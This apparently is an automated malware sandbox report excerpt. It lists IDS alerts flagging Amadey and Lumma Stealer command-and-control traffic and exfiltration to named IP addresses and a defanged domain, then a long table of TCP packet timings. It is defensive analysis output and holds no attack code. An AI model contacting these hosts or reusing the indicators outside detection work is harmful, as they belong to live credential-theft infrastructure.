2024-12-27T09:03:06.222208+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.11	49831	185.215.113.43	80	TCP
2024-12-27T09:03:26.745123+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.11	49880	31.41.244.11	80	TCP
2024-12-27T09:03:28.894721+0100	2058397	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)	1	192.168.2.11	62332	1.1.1.1	53	UDP
2024-12-27T09:03:30.242953+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.11	49879	TCP
2024-12-27T09:03:30.487426+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.11	49891	104.21.23.76	443	TCP
2024-12-27T09:03:30.487426+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49891	104.21.23.76	443	TCP
2024-12-27T09:03:31.243476+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.11	49891	104.21.23.76	443	TCP
2024-12-27T09:03:31.243476+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.11	49891	104.21.23.76	443	TCP
2024-12-27T09:03:31.624188+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.11	49896	185.215.113.43	80	TCP
2024-12-27T09:03:32.513645+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.11	49898	104.21.23.76	443	TCP
2024-12-27T09:03:32.513645+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49898	104.21.23.76	443	TCP
2024-12-27T09:03:33.293370+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.11	49898	104.21.23.76	443	TCP
2024-12-27T09:03:33.293370+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.11	49898	104.21.23.76	443	TCP
2024-12-27T09:03:34.969213+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.11	49905	104.21.23.76	443	TCP
2024-12-27T09:03:34.969213+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49905	104.21.23.76	443	TCP
2024-12-27T09:03:36.060963+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.11	49905	104.21.23.76	443	TCP
2024-12-27T09:03:37.547627+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.11	49912	104.21.23.76	443	TCP
2024-12-27T09:03:37.547627+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49912	104.21.23.76	443	TCP
2024-12-27T09:03:40.133999+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.11	49919	104.21.23.76	443	TCP
2024-12-27T09:03:40.133999+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49919	104.21.23.76	443	TCP
2024-12-27T09:03:42.762983+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.11	49927	104.21.23.76	443	TCP
2024-12-27T09:03:42.762983+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49927	104.21.23.76	443	TCP
2024-12-27T09:03:45.465485+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.11	49936	104.21.23.76	443	TCP
2024-12-27T09:03:45.465485+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49936	104.21.23.76	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 09:02:15.113739967 CET	49712	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:15.113799095 CET	443	49712	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:15.113874912 CET	49712	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:15.117073059 CET	49712	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:15.117088079 CET	443	49712	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:16.380487919 CET	443	49712	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:16.380558014 CET	49712	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:16.383229017 CET	49712	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:16.383239031 CET	443	49712	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:16.383680105 CET	443	49712	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:16.433856010 CET	49712	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:16.449166059 CET	49712	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:16.449197054 CET	49712	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:16.449286938 CET	443	49712	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:17.128240108 CET	443	49712	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:17.128341913 CET	443	49712	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:17.128870964 CET	49712	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:17.206049919 CET	49712	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:17.206094027 CET	443	49712	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:17.224637032 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:17.224682093 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:17.224745035 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:17.225011110 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:17.225023985 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:18.481688976 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:18.481822968 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:18.483382940 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:18.483396053 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:18.483668089 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:18.484952927 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:18.484985113 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:18.485038042 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.263380051 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.263430119 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.263489008 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:19.263495922 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.263535023 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.263556004 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:19.263580084 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.263621092 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:19.263627052 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.280020952 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.280134916 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:19.280178070 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.288245916 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.288327932 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:19.288338900 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.343813896 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:19.464580059 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.468317986 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.468388081 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:19.468400955 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.470396996 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.470453024 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:19.470537901 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:19.470550060 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.470561981 CET	49717	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:19.470566988 CET	443	49717	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.772602081 CET	49723	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:19.772644043 CET	443	49723	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:19.772715092 CET	49723	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:19.773032904 CET	49723	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:19.773045063 CET	443	49723	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:21.077564001 CET	443	49723	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:21.077626944 CET	49723	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:21.079530954 CET	49723	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:21.079543114 CET	443	49723	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:21.079840899 CET	443	49723	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:21.081080914 CET	49723	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:21.081240892 CET	49723	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:21.081278086 CET	443	49723	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:21.935378075 CET	443	49723	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:21.935478926 CET	443	49723	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:21.935544968 CET	49723	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:21.935652018 CET	49723	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:21.935671091 CET	443	49723	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:22.076991081 CET	49729	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:22.077047110 CET	443	49729	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:22.077122927 CET	49729	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:22.077435017 CET	49729	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:22.077441931 CET	443	49729	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:23.320163965 CET	443	49729	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:23.320241928 CET	49729	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:23.321834087 CET	49729	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:23.321846008 CET	443	49729	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:23.322098017 CET	443	49729	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:23.323426008 CET	49729	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:23.323601007 CET	49729	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:23.323632002 CET	443	49729	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:23.323677063 CET	49729	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:23.371331930 CET	443	49729	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:24.119987965 CET	443	49729	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:24.120090961 CET	443	49729	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:24.120141983 CET	49729	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:24.120280027 CET	49729	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:24.120297909 CET	443	49729	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:24.358241081 CET	49735	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:24.358295918 CET	443	49735	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:24.358381987 CET	49735	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:24.358731031 CET	49735	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:24.358745098 CET	443	49735	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:25.617822886 CET	443	49735	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:25.618056059 CET	49735	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:25.619430065 CET	49735	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:25.619446993 CET	443	49735	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:25.619764090 CET	443	49735	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:25.621069908 CET	49735	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:25.621207952 CET	49735	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:25.621234894 CET	443	49735	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:25.621300936 CET	49735	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:25.621310949 CET	443	49735	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:26.581119061 CET	443	49735	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:26.581224918 CET	443	49735	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:26.581290007 CET	49735	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:26.581485033 CET	49735	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:26.581509113 CET	443	49735	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:26.870388985 CET	49741	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:26.870441914 CET	443	49741	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:26.870516062 CET	49741	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:26.870821953 CET	49741	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:26.870836973 CET	443	49741	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:28.127891064 CET	443	49741	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:28.127969980 CET	49741	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:28.135766029 CET	49741	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:28.135798931 CET	443	49741	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:28.136094093 CET	443	49741	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:28.137617111 CET	49741	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:28.137703896 CET	49741	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:28.137712002 CET	443	49741	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:28.885977030 CET	443	49741	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:28.886080980 CET	443	49741	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:28.886142015 CET	49741	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:28.886219978 CET	49741	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:28.886245966 CET	443	49741	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:29.410439968 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:29.410506964 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:29.410567045 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:29.410983086 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:29.411000967 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:30.667031050 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:30.667114973 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.668423891 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.668437004 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:30.668729067 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:30.686527967 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.687407017 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.687449932 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:30.687603951 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.687645912 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:30.687767982 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.687796116 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:30.687933922 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.687968016 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:30.688132048 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.688163042 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:30.688743114 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.688775063 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:30.688788891 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.688940048 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.688978910 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.731328011 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:30.731542110 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.731589079 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.731600046 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.775337934 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:30.775552034 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.775615931 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.775646925 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.823334932 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:30.823460102 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:30.867335081 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:31.049720049 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:33.086206913 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:33.086455107 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:33.086539984 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:33.086818933 CET	49748	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:33.086839914 CET	443	49748	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:33.150748968 CET	49762	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:33.150798082 CET	443	49762	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:33.150954008 CET	49762	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:33.151257992 CET	49762	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:33.151273012 CET	443	49762	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:34.500622034 CET	443	49762	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:34.500708103 CET	49762	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:34.502415895 CET	49762	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:34.502423048 CET	443	49762	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:34.502670050 CET	443	49762	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:34.511480093 CET	49762	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:34.511496067 CET	49762	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:34.511545897 CET	443	49762	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:35.267054081 CET	443	49762	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:35.267158985 CET	443	49762	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:35.267261982 CET	49762	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:35.267400026 CET	49762	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:35.267446041 CET	443	49762	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:35.267476082 CET	49762	443	192.168.2.11	104.21.11.101
Dec 27, 2024 09:02:35.267493010 CET	443	49762	104.21.11.101	192.168.2.11
Dec 27, 2024 09:02:35.269211054 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:35.388753891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:35.388905048 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:35.389080048 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:35.508528948 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:36.850030899 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:36.850070953 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:36.850087881 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:36.850101948 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:36.850116968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:36.850133896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:36.850203037 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:36.850239992 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:36.850256920 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:36.850258112 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:36.850271940 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:36.850289106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:36.850317955 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:36.850347042 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:36.969944000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:36.969961882 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:36.970088005 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.051208973 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.051229000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.051301003 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.055233955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.055300951 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.055385113 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.061650991 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.061747074 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.061814070 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.070060968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.070233107 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.070291996 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.078424931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.078516960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.078602076 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.086910963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.087078094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.087153912 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.095201015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.095320940 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.095388889 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.103631973 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.103784084 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.103884935 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.111963034 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.112025023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.112081051 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.120408058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.120464087 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.120528936 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.128705978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.128777027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.128882885 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.252305984 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.252332926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.252429962 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.253593922 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.253714085 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.253765106 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.258688927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.258759022 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.258822918 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.263839960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.263854027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.263919115 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.268888950 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.268901110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.268963099 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.273863077 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.274717093 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.274787903 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.278981924 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.279005051 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.279090881 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.284075022 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.284087896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.284145117 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.289084911 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.289098978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.289161921 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.294109106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.294121981 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.294178009 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.299125910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.299266100 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.299325943 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.304239988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.304280996 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.304402113 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.309211969 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.309268951 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.309336901 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.314332962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.314507961 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.314568996 CET	49768	80	192.168.2.11	185.215.113.16
